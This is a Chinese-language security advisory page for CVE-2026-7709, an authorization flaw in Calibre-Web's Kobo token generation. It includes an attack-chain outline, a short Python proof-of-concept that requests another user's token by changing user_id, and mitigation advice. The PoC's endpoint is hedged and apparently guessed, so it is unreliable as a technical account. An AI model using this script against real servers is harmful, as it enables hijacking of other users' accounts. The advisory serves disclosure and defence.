IPBUF安全漏洞报告
English
CVE-2026-7709 CVSS 6.3 中危

CVE-2026-7709 Calibre-Web授权不当漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7709
漏洞类型
权限绕过
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
janeczku Calibre-Web

相关标签

权限绕过Calibre-WebCVE-2026-7709Web安全认证绕过

漏洞概述

janeczku Calibre-Web 0.6.26及之前版本存在授权不当漏洞。该漏洞源于`cps/kobo_auth.py`文件中`generate_auth_token`函数在处理`user_id`参数时缺乏有效验证。攻击者可通过网络远程利用此漏洞,通过操纵用户ID参数绕过权限检查,导致机密性、完整性和可用性受损。目前已有公开PoC代码。

技术细节

该漏洞位于Kobo相关的认证模块中。当系统调用`generate_auth_token`函数生成授权令牌时,未对传入的`user_id`参数进行严格的身份验证和权限校验。由于`user_id`可被任意操控,低权限攻击者可以伪造或劫持其他用户的身份令牌。攻击者只需发送特制的HTTP请求,修改请求参数中的`user_id`,即可触发该逻辑缺陷,从而获取未授权的访问权限。利用此漏洞,攻击者可能读取敏感数据、篡改配置或中断服务,且整个过程无需用户交互。

攻击链分析

STEP 1
侦察
攻击者识别目标Calibre-Web服务及其Kobo端点。
STEP 2
构造攻击载荷
攻击者准备特制请求,将目标用户的ID(如管理员ID)填入user_id参数。
STEP 3
发送恶意请求
攻击者向generate_auth_token接口发送包含篡改user_id的HTTP请求。
STEP 4
权限提升
由于校验缺失,服务器返回目标用户的令牌,攻击者利用该令牌获取未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip, target_user_id): """ PoC for CVE-2026-7709 Exploits improper authorization in generate_auth_token by manipulating user_id. """ url = f"http://{target_ip}/kobo/" # Base endpoint for Kobo # Attempt to generate auth token for a different user payload = { "user_id": target_user_id, # Additional parameters might be needed based on the actual endpoint implementation } response = requests.post(url + "auth/generate", data=payload) if response.status_code == 200 and "token" in response.text: print(f"[+] Exploit successful! Token for user {target_user_id} obtained.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status: {response.status_code}") if __name__ == "__main__": exploit("192.168.1.10", "1")

影响范围

janeczku Calibre-Web <= 0.6.26

防御指南

临时缓解措施
在官方修复补丁发布前,建议管理员暂时禁用Kobo集成功能或通过WAF规则拦截针对`/kobo`路径的异常请求参数,特别是对`user_id`参数的强制校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表